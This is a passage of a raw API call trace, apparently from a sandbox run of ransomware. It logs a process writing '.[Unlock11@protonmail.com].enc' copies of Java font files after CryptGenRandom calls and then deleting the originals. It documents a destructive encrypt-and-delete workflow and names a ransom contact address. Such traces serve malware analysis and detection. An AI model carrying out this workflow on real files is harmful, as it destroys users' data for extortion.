Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.853] GetFileType (hFile=0x3ac) returned 0x1 [0132.853] GetLastError () returned 0x0 [0132.853] GetCurrentThreadId () returned 0x9b0 [0132.853] GetLastError () returned 0x0 [0132.853] GetFileType (hFile=0x3ac) returned 0x1 [0132.853] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.853] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.853] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.853] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.854] GetLastError () returned 0x0 [0132.854] GetCurrentThreadId () returned 0x9b0 [0132.854] GetLastError () returned 0x0 [0132.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0132.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0132.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.854] GetLastError () returned 0x0 [0132.854] GetLastError () returned 0x0 [0132.855] GetCurrentThreadId () returned 0x9b0 [0132.855] GetLastError () returned 0x0 [0132.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.855] GetLastError () returned 0x0 [0132.855] GetLastError () returned 0x0 [0132.855] GetCurrentThreadId () returned 0x9b0 [0132.855] GetLastError () returned 0x0 [0132.855] GetLastError () returned 0x0 [0132.857] GetLastError () returned 0x0 [0132.857] GetCurrentThreadId () returned 0x9b0 [0132.857] GetLastError () returned 0x0 [0132.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0132.858] GetCurrentThreadId () returned 0x9b0 [0132.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.858] GetLastError () returned 0x0 [0132.858] GetLastError () returned 0x0 [0132.858] GetLastError () returned 0x0 [0132.858] GetLastError () returned 0x0 [0132.858] GetCurrentThreadId () returned 0x9b0 [0132.858] GetLastError () returned 0x0 [0132.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0132.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.859] GetLastError () returned 0x0 [0132.860] GetLastError () returned 0x0 [0132.861] GetCurrentThreadId () returned 0x9b0 [0132.861] GetLastError () returned 0x0 [0132.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.861] GetLastError () returned 0x0 [0132.861] GetLastError () returned 0x0 [0132.862] GetCurrentThreadId () returned 0x9b0 [0132.862] GetLastError () returned 0x0 [0132.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6468 [0132.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0132.862] GetCurrentThreadId () returned 0x9b0 [0132.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.863] GetLastError () returned 0x0 [0132.863] GetLastError () returned 0x0 [0132.863] GetLastError () returned 0x0 [0132.863] GetLastError () returned 0x0 [0132.863] GetCurrentThreadId () returned 0x9b0 [0132.863] GetLastError () returned 0x0 [0132.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.864] GetLastError () returned 0x0 [0132.864] GetLastError () returned 0x0 [0132.865] GetCurrentThreadId () returned 0x9b0 [0132.865] GetLastError () returned 0x0 [0132.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.865] GetLastError () returned 0x0 [0132.867] GetLastError () returned 0x0 [0132.867] GetCurrentThreadId () returned 0x9b0 [0132.867] GetLastError () returned 0x0 [0132.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63d8 [0132.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.867] GetCurrentThreadId () returned 0x9b0 [0132.867] GetLastError () returned 0x0 [0132.868] GetLastError () returned 0x0 [0132.868] GetLastError () returned 0x0 [0132.868] GetLastError () returned 0x0 [0132.868] GetCurrentThreadId () returned 0x9b0 [0132.868] GetLastError () returned 0x0 [0132.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.868] GetLastError () returned 0x0 [0132.869] GetLastError () returned 0x0 [0132.870] GetCurrentThreadId () returned 0x9b0 [0132.870] GetLastError () returned 0x0 [0132.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.870] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.870] GetLastError () returned 0x0 [0132.870] GetLastError () returned 0x0 [0132.871] GetCurrentThreadId () returned 0x9b0 [0132.871] GetLastError () returned 0x0 [0132.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6528 [0132.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63d8 | out: hHeap=0x2ad0000) returned 1 [0132.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.871] GetCurrentThreadId () returned 0x9b0 [0132.872] GetLastError () returned 0x0 [0132.872] GetLastError () returned 0x0 [0132.872] GetLastError () returned 0x0 [0132.872] GetLastError () returned 0x0 [0132.872] GetCurrentThreadId () returned 0x9b0 [0132.872] GetLastError () returned 0x0 [0132.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0132.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0132.873] GetLastError () returned 0x0 [0132.873] GetLastError () returned 0x0 [0132.874] GetCurrentThreadId () returned 0x9b0 [0132.874] GetLastError () returned 0x0 [0132.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.874] GetLastError () returned 0x0 [0132.876] GetLastError () returned 0x0 [0132.877] GetCurrentThreadId () returned 0x9b0 [0132.877] GetLastError () returned 0x0 [0132.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64b8 [0132.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6528 | out: hHeap=0x2ad0000) returned 1 [0132.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.878] GetCurrentThreadId () returned 0x9b0 [0132.878] GetLastError () returned 0x0 [0132.878] GetLastError () returned 0x0 [0132.878] GetLastError () returned 0x0 [0132.878] GetLastError () returned 0x0 [0132.878] GetCurrentThreadId () returned 0x9b0 [0132.878] GetLastError () returned 0x0 [0132.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.879] GetLastError () returned 0x0 [0132.881] GetLastError () returned 0x0 [0132.881] GetCurrentThreadId () returned 0x9b0 [0132.881] GetLastError () returned 0x0 [0132.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.882] GetCurrentThreadId () returned 0x9b0 [0132.883] GetCurrentThreadId () returned 0x9b0 [0132.883] GetCurrentThreadId () returned 0x9b0 [0132.884] GetCurrentThreadId () returned 0x9b0 [0132.884] GetCurrentThreadId () returned 0x9b0 [0132.884] GetCurrentThreadId () returned 0x9b0 [0132.884] GetCurrentThreadId () returned 0x9b0 [0132.885] GetCurrentThreadId () returned 0x9b0 [0132.885] GetCurrentThreadId () returned 0x9b0 [0132.886] GetCurrentThreadId () returned 0x9b0 [0132.886] GetCurrentThreadId () returned 0x9b0 [0132.887] GetCurrentThreadId () returned 0x9b0 [0132.887] GetCurrentThreadId () returned 0x9b0 [0132.887] GetCurrentThreadId () returned 0x9b0 [0132.887] GetCurrentThreadId () returned 0x9b0 [0132.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.889] GetCurrentThreadId () returned 0x9b0 [0132.889] GetCurrentThreadId () returned 0x9b0 [0132.890] GetCurrentThreadId () returned 0x9b0 [0132.890] GetCurrentThreadId () returned 0x9b0 [0132.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.891] GetCurrentThreadId () returned 0x9b0 [0132.891] GetCurrentThreadId () returned 0x9b0 [0132.891] GetCurrentThreadId () returned 0x9b0 [0132.892] GetCurrentThreadId () returned 0x9b0 [0132.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3702ce8 | out: hHeap=0x2ad0000) returned 1 [0132.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0132.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0132.892] GetCurrentThreadId () returned 0x9b0 [0132.893] GetCurrentThreadId () returned 0x9b0 [0132.893] CloseHandle (hObject=0x3ac) returned 1 [0132.893] GetCurrentThreadId () returned 0x9b0 [0132.893] CloseHandle (hObject=0x39c) returned 1 [0132.893] GetCurrentThreadId () returned 0x9b0 [0132.893] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0132.900] GetCurrentThreadId () returned 0x9b0 [0132.900] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf", lpFilePart=0x9bada4*="LucidaTypewriterBold.ttf") returned 0x45 [0132.900] GetCurrentThreadId () returned 0x9b0 [0132.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0132.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0132.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0132.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.901] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.902] GetCurrentThreadId () returned 0x9b0 [0132.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.903] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.904] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c98 | out: hHeap=0x2ad0000) returned 1 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.905] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.906] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.907] GetCurrentThreadId () returned 0x9b0 [0132.908] GetCurrentThreadId () returned 0x9b0 [0132.908] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254)) returned 1 [0132.908] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b96c | out: pbBuffer=0x366b96c) returned 1 [0132.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0132.908] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.909] GetFileType (hFile=0x39c) returned 0x1 [0132.909] GetFileType (hFile=0x39c) returned 0x1 [0132.909] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.910] GetLastError () returned 0x0 [0132.910] GetLastError () returned 0x0 [0132.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0132.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0132.910] GetLastError () returned 0x0 [0132.910] GetLastError () returned 0x0 [0132.910] GetLastError () returned 0x0 [0132.910] GetLastError () returned 0x0 [0132.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4b8 [0132.911] GetLastError () returned 0x0 [0132.911] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.911] GetFileType (hFile=0x3ac) returned 0x1 [0132.911] GetLastError () returned 0x0 [0132.911] GetLastError () returned 0x0 [0132.912] GetFileType (hFile=0x3ac) returned 0x1 [0132.912] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.912] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.912] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.912] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.912] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.912] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.912] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.912] GetLastError () returned 0x0 [0132.912] GetLastError () returned 0x0 [0132.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0132.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0132.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0132.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0132.913] GetLastError () returned 0x0 [0132.913] GetLastError () returned 0x0 [0132.913] GetLastError () returned 0x0 [0132.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0132.913] GetLastError () returned 0x0 [0132.913] GetLastError () returned 0x0 [0132.913] GetLastError () returned 0x0 [0132.913] GetLastError () returned 0x0 [0132.915] GetLastError () returned 0x0 [0132.915] GetLastError () returned 0x0 [0132.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0132.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0132.916] GetLastError () returned 0x0 [0132.916] GetLastError () returned 0x0 [0132.916] GetLastError () returned 0x0 [0132.916] GetLastError () returned 0x0 [0132.916] GetCurrentThreadId () returned 0x9b0 [0132.917] GetLastError () returned 0x0 [0132.917] GetCurrentThreadId () returned 0x9b0 [0132.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0132.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0132.918] GetLastError () returned 0x0 [0132.919] GetLastError () returned 0x0 [0132.919] GetCurrentThreadId () returned 0x9b0 [0132.919] GetLastError () returned 0x0 [0132.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0132.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.920] GetLastError () returned 0x0 [0132.920] GetLastError () returned 0x0 [0132.921] GetCurrentThreadId () returned 0x9b0 [0132.921] GetLastError () returned 0x0 [0132.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4b8 [0132.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0132.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.921] GetLastError () returned 0x0 [0132.922] GetLastError () returned 0x0 [0132.922] GetLastError () returned 0x0 [0132.922] GetLastError () returned 0x0 [0132.922] GetCurrentThreadId () returned 0x9b0 [0132.922] GetLastError () returned 0x0 [0132.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0132.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.922] GetLastError () returned 0x0 [0132.923] GetLastError () returned 0x0 [0132.923] GetCurrentThreadId () returned 0x9b0 [0132.923] GetLastError () returned 0x0 [0132.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0132.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.924] GetLastError () returned 0x0 [0132.924] GetLastError () returned 0x0 [0132.925] GetCurrentThreadId () returned 0x9b0 [0132.925] GetLastError () returned 0x0 [0132.925] GetCurrentThreadId () returned 0x9b0 [0132.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4f8 [0132.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0132.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0132.925] GetLastError () returned 0x0 [0132.926] GetLastError () returned 0x0 [0132.926] GetLastError () returned 0x0 [0132.926] GetLastError () returned 0x0 [0132.926] GetCurrentThreadId () returned 0x9b0 [0132.926] GetLastError () returned 0x0 [0132.926] 